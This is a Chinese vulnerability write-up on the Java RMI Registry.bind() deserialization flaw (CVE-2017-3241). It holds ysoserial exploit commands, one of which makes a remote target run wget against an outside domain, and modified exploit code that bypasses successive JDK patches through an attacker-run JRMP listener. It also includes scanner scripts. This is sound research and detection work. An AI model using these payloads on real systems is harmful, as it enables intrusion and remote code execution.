Title: CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞 Date: 2020-08-04 10:20 Category: 漏洞实践 Tags: Java,RMI,漏洞,反序列化 Slug: Authors: bit4woo Summary:
如有错误,敬请斧正!
CVE-2017-3241Java RMI Registry.bind() Unvalidated Deserialization
- JDK版本限制 Java SE <= 6u131, <= 7u121, <= 8u112, Java SE Embedded <= 8u111, JRockit <= R28.3.12
- 上面这一条是漏洞刚爆出时的版本说明。由于漏洞修复方案不停地被绕过,直到8u241之前的所有版本,仍然可利用这个RMI Registry相关的漏洞。
- 注意:本文所有JDK版本均为Oracle JDK版本,非OpenJDK版本。
- JDK <=8u112,可直接利用;8u112 < JDK < 8u241 利用方式需要反链恶意JRMP服务端,所以需要目标服务器能访问攻击者控制的服务器。
- 目标服务器引用了gadget所需要的第三方jar包
- 对于加载远程类(使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性)的问题尚未明确。留待后续文章中说明。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1596622275039-a169069f-a41c-414f-af7e-f369db90dab1.png)
package baseUsage.service;
import java.rmi.Remote;
import java.rmi.RemoteException;
//注: ICombine是客户端和服务端共用的接口(客户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同)
public interface ICombine extends Remote {
public String combine(String str1,String str2) throws RemoteException;
}
package baseUsage.service;
import java.rmi.RemoteException;
public class Combiner implements ICombine {
@Override
public String combine(String str1,String str2) throws RemoteException {
String result = str1+"&"+str2;
System.out.println("combine result: "+result);
return result;
}
}
package baseUsage.server;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import baseUsage.service.Combiner;
import baseUsage.service.ICombine;
public class Server {
public static void main(String[] args) throws Exception{
Server1();
}
//Server1:单纯的使用RMI,没有使用JNDI
public static void Server1() throws Exception {
String name= "combiner";
ICombine combiner=new Combiner();
//这里指定的端口是远程对象所使用的端口,可以和RMI Registry使用相同的端口!!!
//但是我们为了说明远程对象需要使用单独的接口,使用1100
UnicastRemoteObject.exportObject(combiner,1100);
// 创建本机 1099 端口上的RMI registry(RMI注册表,就像windows的注册表一样,可以把它看作是一个可供查询的数据库)
// Registry好比号码百事通、它可以帮你查询真正提供服务的对象,但是真正提供具体服务的却不是它
Registry registry=LocateRegistry.createRegistry(1099);
// 对象绑定到注册表中,让客户端可以有机会查询到它
registry.rebind(name, combiner);
//bind(String name,Object obj):如果该名字已经存在,就会抛出NameAlreadyBoundException。
//rebind(String name,Object obj):不会抛出NameAlreadyBoundException,而是把当前参数obj指定的对象覆盖原先的对象。
}
}
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1596622121865-ef574b5b-d77f-4223-b58c-5c5daf6db455.png)
package baseUsage.client;
import baseUsage.service.ICombine;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class Client {
public static void main(String[] args) throws Exception{
client1();
client2();
jndiRMIClient();
}
//这是rmi的lookup
public static void client1() throws Exception {
// 获取远程主机上的注册表
Registry registry=LocateRegistry.getRegistry("localhost",1099);
String name="combiner";
// 尝试根据名称,在远程“注册表数据库”中查找对象
ICombine combiner=(ICombine)registry.lookup(name);
String result = combiner.combine("aaaa","bbbb");
System.out.println("client1: "+result);
}
public static void client2() throws Exception{
ICombine combiner=(ICombine)Naming.lookup("rmi://127.0.0.1:1099/combiner");
String result = combiner.combine("aaaa","bbbb");
System.out.println("client2: "+result);
}
//这是jndi的lookup,和rmi的lookup还是不一样的
public static void jndiRMIClient() throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
//通过名称查找对象
ICombine combiner=(ICombine) ctx.lookup("combiner");
String result = combiner.combine("aaaa","bbbb");
System.out.println("jndiRMIClient: "+result);
}
}
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598844823898-e8f9d8f1-10fe-4150-9b91-f5e3dbcca8d5.png)
和HTTP的流程逻辑对比着看,相识度很高,便于理解
现在梳理一下大致的流程,首先是服务端的流程,对应上面baseUsage.server.Server#Server1中的代码:
- 服务端先创建对象,这个对象是可以提供远程方法调用的。
- 可以主动将对象暴露在某个指定的端口。神奇的是端口可以和注册表服务(Registry)的端口一样!
- 创建注册表服务。
- 将对象绑定到注册表服务中,以供客户端通过名称来查询。
接着是客户端的流程,对应baseUsage.client.Client#client1中的代码:
- 先连接注册表服务。
- 查询是否存在指定名称的远程对象。
- 如果存在,则连接提供服务的接口,调用远程对象的方法。
远程方法调用的大致过程:
- 客户端本地创建一个对象,将要执行的函数、参数通过这个对象传递给服务端。
- 服务端接收到传递过来的数据流,需要先对它进行反序列化操作,还原成对象。
- 通过还原后的对象,服务端获取到要需要执行的函数和参数信息,在服务端通过反射方法进行方法的调用,获取调用的结果。
- 将调用的结果存入一个对象,序列化后返回给客户端。
- 客户端再执行类似的过程,反序列化,然后获取到结果。
前面讲了《远程方法调用的大致过程》,而这个漏洞的问题就出在 服务端处理“用户需求”的过程中。 服务端在收到客户端发送过来的数据时,需要首先将其反序列化,才能从恢复的对象中获取到需要的参数以便进行后续操作。在反序列化过程中,漏洞就触发了。* *
直接使用上一个步骤中baseUsage.server.Server的代码进行本地环境复现,使用ysoserial中的利用工具,命令如下,成功复现。
"C:\Program Files\Java\jdk-14.0.1\bin\java.exe" -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"
注意点:
1、执行如上命令的java版本最好和运行RMI服务的Java版本一致,这个case中使用的都是JDK1.7.0
2、如下截图是本地测试的截图,RMI Server和执行攻击的Payload都是在同一个主机上运行的,不符合实际攻击场景,只是为了方便截图。
3、同样的JDK环境,远程环境也可以成功触发。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1597049170574-74e7d683-517e-491e-8f9c-b1032a07319d.png)
远程服务器成功利用案例:
D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"
本地的Java环境:
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
目标服务器的Java环境:
java version "1.8.0_25"
Java(TM) SE Runtime Environment (build 1.8.0_25-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.25-b02, mixed mode)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1597048219891-768d6b76-2b1e-4a13-b14a-91afe84d6ddf.png)
还是一样的套路,在java.lang.Runtime#exec(java.lang.String)处下断点,并以debug启动baseUsage.server.Server。然后运行
D:\github>"C:\Program Files\Java\jdk1.7.0\bin\java.exe" -cp D:\ser\ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 100.119.197.111 1099 CommonsCollections1 "calc.exe"
获取到如下调用链:
exec(String):345, Runtime (java.lang)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
transform(Object):125, InvokerTransformer (org.apache.commons.collections.functors)
transform(Object):122, ChainedTransformer (org.apache.commons.collections.functors)
get(Object):151, LazyMap (org.apache.commons.collections.map)
invoke(Object, Method, Object[]):68, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet():-1, $Proxy2
readObject(ObjectInputStream):345, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
readObject():369, ObjectInputStream (java.io)
readObject(ObjectInputStream):1043, HashMap (java.util)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)
defaultReadObject():498, ObjectInputStream (java.io)
readObject(ObjectInputStream):330, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)
readSerialData(Object, ObjectStreamClass):1888, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
readObject():369, ObjectInputStream (java.io)
//后续流程已经是反序列化的逻辑了。
dispatch(Remote, RemoteCall, int, long):-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch(Remote, RemoteCall, int):403, UnicastServerRef (sun.rmi.server)
dispatch(Remote, RemoteCall):267, UnicastServerRef (sun.rmi.server)
run():177, Transport$1 (sun.rmi.transport)
run():174, Transport$1 (sun.rmi.transport)
doPrivileged(PrivilegedExceptionAction, AccessControlContext):-1, AccessController (java.security)
serviceCall(RemoteCall):173, Transport (sun.rmi.transport)
handleMessages(Connection, boolean):553, TCPTransport (sun.rmi.transport.tcp)
run0():808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run():667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker(ThreadPoolExecutor$Worker):1110, ThreadPoolExecutor (java.util.concurrent)
run():603, ThreadPoolExecutor$Worker (java.util.concurrent)
run():722, Thread (java.lang)
RemoteCall对象是用于stub/skeleton进行数据交换的对象,sun.rmi.registry.RegistryImpl_Skel#dispatch中的第二参数就是 StreamRemoteCall类型(RemoteCall的实现类)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598954426136-b7c4ae88-c41e-4d38-aee8-7548a83b8a67.png)
不知道为何不能成功下断点,但是基本还是可以看出漏洞的入口。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599014539440-94a09058-600c-4ce6-952f-fb3fd2a434fa.png)
由于src.zip中不包含sun目录下的源码,我们无法直接阅读sun.rmi.registry这部分关键代码,只能看Idea反编译后的代码或者找OpenJDK
对应部分的源码(不能保证它们代码的一致性)。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598406315353-0244ce35-e3c1-4a41-b409-f8171ca53f1d.png)
访问 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/tags,尝试通过tags来缩小查找范围,但并未在这些
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599011147673-ef7a6b81-379f-409b-826c-c569f80f9d05.png)
通过搜索RegistryImpl_Stub ,找到jdk8u141-b10,发现OpenJDK中,在这个版本中才新建了个RegistryImpl_Stub 文件。可见OpenJDK的Tag和OracleJDK的版本并不对应。很多文章中描述漏洞所写的JDK版本都是OpenJDK版本,而非Oracle JDK的版本,所以阅读的时候得注意区分了。
为了更好地检测出问题,我们使用URLDNS这个gadget进行初筛,因为它不受JDK版本限制,也不需要额外的Gadget依赖包。然后再使用其他Gadget进行利用尝试。
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'
import subprocess
'''
Java RMI Registry.bind() 反序列化代码执行漏洞
注意:URLDNS这个gadget也只能检测8u121以下的版本。更完善的脚本见后续章节
'''
def poc(ip, port="1099"):
try:
ys_filepath = r'D:\ser\ysoserial-0.0.5.jar'
# D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"
popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://rmi.{0}.bit.0y0.link".format(ip)],
stdout=subprocess.PIPE)
output = popen.stdout.read()
print(output)
except Exception as e:
print(e)
if __name__ == "__main__":
print(poc("10.203.20.57"))
JRMP是Java RMI使用的协议,non-JRMP server 这个错误很简单,就是目标端口根本就不是RMI的相关端口。端口必须是rmi registry的端口。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598864874001-a14e8238-ba8b-4e4f-9d90-f01c52a631ca.png)
核心错误信息类似: java.lang.ClassNotFoundException: org.apache.commons.collections.map.LazyMap (no security manager: RMI class loader disabled) ,根据这个错误信息也很容易识别出问题,即“服务端缺少gadget所对应的依赖包”。
遇到这种情况有2个思路:
1、挨个尝试所有gadget。一般URLDNS这个gadget是会成功的,能表明漏洞存在,但是能不能利用还得看是否有其他可执行命令的gadget的依赖包存在。
2、考虑远程加载类。使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性。笔者水平有限,这部分内容还没有弄明白,留待学习后,在后续文章中说明。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598407940651-0cac7073-321a-47c3-abd6-b3ce5096b091.png)
服务端的gadget依赖包版不符合要求,一般是版本过高。也只能通过尝试其他gadget进行尝试。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598948476557-22687a69-0084-4842-af98-b1217a793d78.png)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599730851246-c8c31dbd-5909-4689-808e-e71e3d53dc95.png)
通过查看实际环境发现,大多报这种错误的服务端都是jstatd起的服务,很明显它也缺少gadget依赖包。对于是否有继续利用的可能,和ClassNotFoundException中一样,需要弄明白加载远程类的可能才能确定。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1600248113469-82d46529-9a6d-41c3-8286-377bee92f834.png)
错误信息截图如下,即使是URLDNS这个最常用于检测的gadget也是会被拦截的。所以我们最开始的检测脚本也不是万能的。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598865735378-a2ebb753-ee11-4ab7-8f61-1f4b3e67641e.png)
对应的服务端信息
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598869835904-63ec2c14-7436-47d7-8b90-ba743cd152d6.png)
这个错误的原因是:从JDK8u121开始(包括JDK8u121),加入了 sun.rmi.registry.RegistryImpl#registryFilter 的限制。相关源码可以参考OpenJDK中的代码,这部分代码和Oracle JDK应该是一致的。http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388 见下图
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598929474616-4fee4960-fd42-4a05-999d-cb78a7140167.png)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599027867965-7bca2b13-75ae-4109-acb3-68282d8c647c.png)
遇到这个错误还有可能利用吗?答案是有的。绕过registryFilter进行攻击的细节请见后续章节《修复和绕过》。
复现问题的2个测试环境JDK版本:
java version "1.8.0_144"
Java(TM) SE Runtime Environment (build 1.8.0_144-b01)
Java HotSpot(TM) 64-Bit Server VM (build 25.144-b01, mixed mode)
java version "1.8.0_181"
Java(TM) SE Runtime Environment (build 1.8.0_181-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
错误信息
java.rmi.AccessException: Registry.Registry.bind disallowed; origin /100.119.197.111 is non-local host
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598931202517-e9a0ff3d-a5e1-4446-b142-f89c413c6dcf.png)
该异常是由于 JDK >= 8u141时,sun.rmi.registry.RegistryImpl#checkAccess 会进行来源IP地址的检查,如果请求的IP地址不是本机的IP地址,则拒绝执行bind操作。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599017205112-9210ec26-758e-4309-9613-291620555151.png)
遇到这种情况仍然有利用的希望,因为在8u141中的检测只针对了三种操作:bind\rebind\unbind,而没有对lookup进行限制。使用lookup方法进行攻击的细节请见后续章节《修复和绕过》。
整理的修复和绕过版本对应如图
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599551987770-38f4ea97-a031-4790-b11d-e73e60eab647.png)
绕过白名单过滤的利用方式,我们先要大致了解一下ysoserial中的几个关键类。
payloads 名称,攻击载荷,是静态数据包。payloads包下的类主要用于生成payload。
exploit 动词,攻击利用,是主动的动作。exploit包下的类主要用于发起攻击。
ysoserial.payloads.JRMPClient 使用这个类生成的payload进行攻击,被攻击的服务器会开启新的JRMP客户端。
ysoserial.payloads.JRMPListener 使用这个类生成的Payload进行攻击,被攻击的服务端会开启新的JRMP监听。通常和ysoserial.exploit.JRMPClient配合使用。
再使用ysoserial.exploit.JRMPClient来攻击刚刚漏洞服务器启动的JRMP服务。
ysoserial.exploit.JRMPClassLoadingListener
ysoserial.exploit.JRMPClient
ysoserial.exploit.JRMPListener 本地开启一个RMI监听,但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。
在我们的这个情形下,需要 ysoserial.exploit.JRMPListener 和 ysoserial.payloads.JRMPClient的配合使用。在使用前,需要先改造一下ysoserial:
1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitBypassFilter1。
2、将其ysoserial.exploit.RMIRegistryExploitBypassFilter1#exploit函数中的Remote对象生成方法进行替换。
如下图:
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599207050718-6fe1ca89-155d-4de0-b5d4-f4cbeff3d361.png)
接下来重新打包ysoserial(mvn clean package -DskipTests)并按如下步骤进行。
1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。
java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"
2、使用改造过的RMIRegistryExploitBypassFilter1向漏洞服务器发起请求
java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilter1 127.0.0.1 1099 JRMPClient sz.myvps.com:1099
注意:这里使用的是CommonsCollections2这个gadget进行测试的,其他gadget还需再测试(因为我测试CommonsCollections1失败了~)。
关于这部分的利用可以参考bsmali4的文章《一次攻击内网rmi服务的深思》,其中包含了探索过程和另外2个绕过Payload。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599533756927-110d7573-adf2-4df1-af04-1ba2572d377c.png)
漏洞触发的调用栈。
executeCall():208, StreamRemoteCall (sun.rmi.transport)
invoke(RemoteCall):379, UnicastRef (sun.rmi.server)
dirty(ObjID[], long, Lease):-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall(Set, long):378, DGCClient$EndpointEntry (sun.rmi.transport)
access$1600(DGCClient$EndpointEntry, Set, long):188, DGCClient$EndpointEntry (sun.rmi.transport)
run():596, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)
run():593, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)
doPrivileged(PrivilegedAction, AccessControlContext):-1, AccessController (java.security)
run():593, DGCClient$EndpointEntry$RenewCleanThread (sun.rmi.transport)
run():745, Thread (java.lang)
改造lookup方法:
1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitLookup。
2、在ysoserial.exploit.RMIRegistryExploitLookup这个类中创建一个新的lookup函数,代码如下:
//参考sun.rmi.registry.RegistryImpl_Stub.lookup方法进行修改。主要是将writeObject的参数类型改为Object。
public static void lookup(Registry registry,Object var1) throws AccessException, NotBoundException, RemoteException {
try {
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
StreamRemoteCall var2 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
ref.invoke(var2);//这个语句不能少,否则不会触发。
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
3、然后修改ysoserial.exploit.RMIRegistryExploitLookup#exploit中的bind为lookup方法。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599208748091-1507b52c-c30b-44d7-9467-e20ab32c6920.png)
由于JDK在添加远程IP限制前,就已经添加了白名单限制,而我们上面改造的payload只是做了操作方法的改造(lookup),没有考虑绕过白名单,所以我们要选择一个低于8u121版本的JDK进行测试,先保证lookup方式能正常工作后再将二者融合。
这里再插入一个小问题:是否可以通过bind的name参数进行攻击?
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599135742184-706b8dc0-a0b7-4644-85ff-2de6a008df08.png)
答案是可以的,使用类似的方法,改造bind方法,交换参数的写入顺序,然后运行,也能成功触发。测试代码可见https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/exploit/RMIRegistryExploitAlertBind.java
将以上2部分的改造相结合。然后再按照如下步骤就复现。
1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。
java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"
2、使用改造过的RMIRegistryExploitBypassFilterAndLookup向漏洞服务器发起请求
java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599211400581-72f3c31a-a8ed-4b7f-aead-72158fc13959.png)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599533627006-55908fa4-af31-48af-a246-284ae647d616.png)
8u231版本的修复思路是:1、避免反向链接。2、垃圾回收的处理逻辑添加来源数据的过滤。
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599098636645-632e7904-9b41-4777-8ce1-af67d3c6bdbc.png)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599466541597-e082feff-67b3-4539-8748-5cfdd1044323.png)
参考https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/中的说明,再次对ysoserial进行改造。
/*经过改造的lookup函数
将enableReplace属性改为了false
*/
public static void lookup(Registry registry,Remote var1) throws AccessException, AlreadyBoundException, RemoteException {
try {
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
StreamRemoteCall var3 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);
ObjectOutput var4;
try {
var4 = var3.getOutputStream();
Reflections.setFieldValue(var4,"enableReplace",false);
var4.writeObject(var1);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
ref.invoke(var3);
ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}
1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。
java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"
2、使用改造过的RMIRegistryExploitJdk8u231向漏洞服务器发起请求,针对8u231版本的JDK的利用,必须和JRMPClient2一起使用!!!
java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitJdk8u231 192.168.1.100 1099 JRMPClient2 sz.myvps.com:1099
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599483103464-bcb152bd-fe65-4a34-8790-3424a7fa3535.png)
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599553346268-960cba73-4746-4533-9dba-851a899c81a1.png)
至此可以更新一版检测脚本了,使用RMIRegistryExploitJdk8u231和JRMPClient2,能检测到URLDNS检测不到的高版本(8u121---8u231),避免部分漏报了。
但值得注意的是,这个PoC能检测出的目标,不一定都能利用,尤其是缺少gadget对应的依赖包的情况下。
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'
import subprocess
'''
Java RMI Registry.bind() 反序列化代码执行漏洞
'''
fpw = open("rmi-errors-20200907.txt","w")
# 注意:URLDNS这个gadget也只能检测8u121以下的版本
def poc_URLDNS(ip, port="1099"):
try:
ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'
dnslog = dnslogapi.DNSlog(ip+".urldns")
domain = dnslog.getPayload()
# D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"
popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://"+domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
fpw.writelines("=================" + ip + "================\r\n")
error = popen.stderr.read()
# print (error)
fpw.writelines(bytes.decode(error))
fpw.writelines("\r\n")
fpw.flush()
return dnslog.query()
except Exception as e:
print(e)
return False
# 相比URLDNS这个gadget,能检测到URLDNS检测不到的高版本(8u121---8u221)
def poc_JRMPClient(ip, port="1099"):
try:
ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'
dnslog = dnslogapi.DNSlog(ip+".JRMPClient")
domain = dnslog.getPayload()
# 这个payload如果能收到dnslog,说明JDK版本小于8u231,存在利用可能的。但是到底能不能利用,还是需要进一步的验证。
# java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099
popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploitJdk8u231",ip,port,"JRMPClient2", domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
fpw.writelines("================="+ip+"================\r\n")
error = popen.stderr.read()
# print (error)
fpw.writelines(bytes.decode(error))
fpw.writelines("\r\n")
fpw.flush()
return dnslog.query()
except Exception as e:
print(e)
return False
def poc(ip, port="1099"):
return poc_JRMPClient(ip,port)
if __name__ == "__main__":
print(poc("10.203.20.57"))
![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599532937563-4cd6468a-9128-4c09-b961-c46a9b0959f4.png)
1、企业中使用rmi的场景多使用JMX进行应用层监控,那么防御rmi反序列化,设置jmx账号密码有用吗?
答案是没用。rmi类似http,相当于是协议;jmx类似web后端,是应用。漏洞出在RMI也就是“协议层”,漏洞触发时还没有到达“应用层”的处理逻辑中。所以这个方式是无效的。
RMI基础原理
https://blog.csdn.net/sinat_34596644/article/details/52599688
https://blog.csdn.net/guyuealian/article/details/51992182
https://segmentfault.com/a/1190000004494341
漏洞发现者的文章
https://www.nccgroup.com/uk/our-research/java-rmi-registrybind-unvalidated-deserialization/
RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析:
https://mp.weixin.qq.com/s/DIgEe2HpwzHcvNM71cKxvg
https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/
java.io.InvalidClassException: filter status: REJECTED异常相关
漏洞修复绕过相关
https://www.anquanke.com/post/id/197829
酒仙桥六号部队:RMI 利用分析